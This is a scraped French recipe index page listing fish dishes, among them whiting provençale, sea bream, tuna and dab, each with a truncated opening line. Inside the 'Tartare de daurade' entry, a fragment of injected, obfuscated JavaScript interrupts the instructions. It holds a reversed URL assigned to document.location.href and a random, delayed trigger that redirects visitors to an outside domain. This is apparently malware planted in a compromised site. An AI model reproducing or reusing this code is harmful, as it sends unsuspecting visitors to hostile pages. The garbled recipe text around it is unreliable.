Recipes From Cuisine: Poissons
Filets de merlan à la provençale
Pelez, coupez les aubergines en petits morceaux. Faites chauffer l’huile dans une poêle, et faites ...
Christine Lire la suiteFilet de daurade Marquise
Rincez, séchez les filets, les enrouler dans de la farine, secouez les pour en faire ...
Christine Lire la suiteDorade safranée aux deux citrons
Rincez, séchez, la dorade. Pressez la moitié du citron vert et la moitié du citron ...
Christine Lire la suiteThon aux concombres confits
Tranchez le thon en fines lamelles, déposez-les dans un plat. Salez, poivrez, recouvrez d’huile d’olive ...
Christine Lire la suiteLimande au vin blanc
Enlevez la peau de la limande en incisant à la queue. Saisissez la peau avec ...
Christine Lire la suiteLes limandes frites
Le temps de cuisson des limandes est de 10 minutes environ dans une friture chaude ...
Christine Lire la suiteMorue aux pommes de terre et au cerfeuil
Si la morue est trop salée il est préférable de la faire tremper dans de ...
Christine Lire la suiteTartare de daurade vinaigrette vanillée
Ébouillantez la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate quelques secondes, pelez, épépinez, et coupez-la ...
Christine Lire la suiteAumônières de poisson crème fouettée à la ciboulette
Préparez la pâte à crêpe, en mélangeant dans un saladier la farine, le sel. Incorporez ...
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